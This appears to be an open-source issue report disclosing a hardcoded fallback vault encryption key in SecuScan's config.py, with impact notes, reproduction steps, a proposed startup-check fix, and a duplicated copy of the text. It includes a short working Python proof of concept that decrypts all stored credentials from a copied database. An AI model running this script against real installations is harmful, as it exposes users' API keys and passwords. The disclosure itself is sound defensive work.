Description
A CRITICAL security vulnerability exists in backend/secuscan/config.py at line 94. The resolved_vault_key property falls back to the hardcoded string "secuscan-dev-key" when neither SECUSCAN_VAULT_KEY nor SECUSCAN_PLUGIN_SIGNATURE_KEY is configured — which is the default state for every fresh installation. Because this key is published in the open-source repository, any attacker who obtains the SQLite database file can decrypt all vault contents offline using a standard-library-only Python script.
# config.py line 94 — the vulnerable fallback
seed = self.vault_key or self.plugin_signature_key or "secuscan-dev-key"
Impact
All credentials stored in the vault (API keys, tokens, passwords for tools like Shodan, Censys, cloud providers, SMTP, VPNs) are instantly decryptable offline — no brute force, no GPU, no dictionary attack. The attacker only needs the database file, which lives at the predictable default path backend/data/secuscan.db and is reachable via LAN file share, backup leak, or Docker volume misconfiguration.
Proof-of-concept offline decryption (stdlib only):
import base64, hashlib, sqlite3
from itertools import cycle
key = base64.urlsafe_b64encode(hashlib.sha256(b"secuscan-dev-key").digest())
conn = sqlite3.connect("secuscan.db")
for name, enc in conn.execute("SELECT name, encrypted_value FROM credential_vault"):
blob = base64.urlsafe_b64decode(enc)
nonce, ct = blob[:16], blob[48:]
sk = hashlib.sha256(key + nonce).digest()
print(name, bytes(b ^ k for b, k in zip(ct, cycle(sk))).decode())
Steps to Reproduce
- Start SecuScan with no
SECUSCAN_VAULT_KEY set (default install).
- Store a credential:
PUT /api/v1/vault/aws-key with {"value": "AKIAIOSFODNN7EXAMPLE"}.
- Copy
backend/data/secuscan.db to any machine.
- Run the PoC script above against the copied database.
- Observed result: plaintext credential printed instantly, zero cracking required.
Expected Behaviour
The application must refuse to start if no vault key is configured. There must be no hardcoded fallback key of any kind — the source code being public means any fallback is immediately a known-plaintext attack.
Proposed Fix
Remove the hardcoded fallback. Raise RuntimeError at startup if no key is provided.
# backend/secuscan/config.py — replace resolved_vault_key (line 92–96)
@property
def resolved_vault_key(self) -> bytes:
seed = self.vault_key or self.plugin_signature_key
if not seed:
raise RuntimeError(
"SECUSCAN_VAULT_KEY is not set. "
"Generate one with: python -c \"import secrets; print(secrets.token_hex(32))\" "
"and add it to your .env file before starting the server."
)
digest = hashlib.sha256(seed.encode("utf-8")).digest()
return base64.urlsafe_b64encode(digest)
Update .env.example to mark it required:
# REQUIRED — generate with: python -c "import secrets; print(secrets.token_hex(32))"
SECUSCAN_VAULT_KEY=replace-with-a-stable-local-secret
Files Affected
backend/secuscan/config.py
backend/secuscan/vault.py
.env.example
Verification
# No vault key set — must fail at startup with clear error, not silently start
unset SECUSCAN_VAULT_KEY && unset SECUSCAN_PLUGIN_SIGNATURE_KEY
python -m uvicorn backend.secuscan.main:app --host 127.0.0.1 --port 8000
# Expected: RuntimeError printed, process exits — NOT "Ready to serve"
# With key set — vault round-trip must work correctly
SECUSCAN_VAULT_KEY=testkeyabcdef1234 python -m uvicorn ...
Labels
type:security level:advanced gssoc:approved
Please assign this issue to me under GSSoC 2026. I will open a PR with a complete fix covering all affected files, proper test coverage, and verification steps.
Description
A CRITICAL security vulnerability exists in
backend/secuscan/config.pyat line 94. Theresolved_vault_keyproperty falls back to the hardcoded string"secuscan-dev-key"when neitherSECUSCAN_VAULT_KEYnorSECUSCAN_PLUGIN_SIGNATURE_KEYis configured — which is the default state for every fresh installation. Because this key is published in the open-source repository, any attacker who obtains the SQLite database file can decrypt all vault contents offline using a standard-library-only Python script.Impact
All credentials stored in the vault (API keys, tokens, passwords for tools like Shodan, Censys, cloud providers, SMTP, VPNs) are instantly decryptable offline — no brute force, no GPU, no dictionary attack. The attacker only needs the database file, which lives at the predictable default path
backend/data/secuscan.dband is reachable via LAN file share, backup leak, or Docker volume misconfiguration.Proof-of-concept offline decryption (stdlib only):
Steps to Reproduce
SECUSCAN_VAULT_KEYset (default install).PUT /api/v1/vault/aws-keywith{"value": "AKIAIOSFODNN7EXAMPLE"}.backend/data/secuscan.dbto any machine.Expected Behaviour
The application must refuse to start if no vault key is configured. There must be no hardcoded fallback key of any kind — the source code being public means any fallback is immediately a known-plaintext attack.
Proposed Fix
Remove the hardcoded fallback. Raise
RuntimeErrorat startup if no key is provided.Update
.env.exampleto mark it required:Files Affected
backend/secuscan/config.pybackend/secuscan/vault.py.env.exampleVerification
Labels
type:securitylevel:advancedgssoc:approvedPlease assign this issue to me under GSSoC 2026. I will open a PR with a complete fix covering all affected files, proper test coverage, and verification steps.